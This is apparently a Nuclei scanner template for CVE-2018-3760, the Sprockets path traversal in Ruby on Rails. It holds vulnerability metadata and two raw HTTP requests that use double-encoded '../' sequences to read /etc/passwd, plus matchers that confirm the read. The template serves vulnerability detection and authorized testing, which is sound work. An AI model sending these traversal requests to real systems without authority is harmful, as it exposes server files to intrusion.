id: CVE-2018-3760

info:
  name: Ruby On Rails Path Traversal
  author: 0xrudra,pikpikcu
  severity: high
  description: |
    Ruby On Rails is a well-known Ruby Web development framework, which uses Sprockets as a static file server in development environment. Sprockets is a Ruby library that compiles and distributes static resource files.
    There is a path traversal vulnerability caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/rails/CVE-2018-3760
    - https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
    - https://seclists.org/oss-sec/2018/q2/210
    - https://xz.aliyun.com/t/2542
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-3760
    cwe-id: CWE-200
  tags: cve,cve2018,rails,lfi,ruby

requests:
  - raw:
      - |
        GET /assets/file:%2f%2f/etc/passwd HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: path
        internal: true
        part: body
        regex:
          - "/etc/passwd is no longer under a load path: (.*?),"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200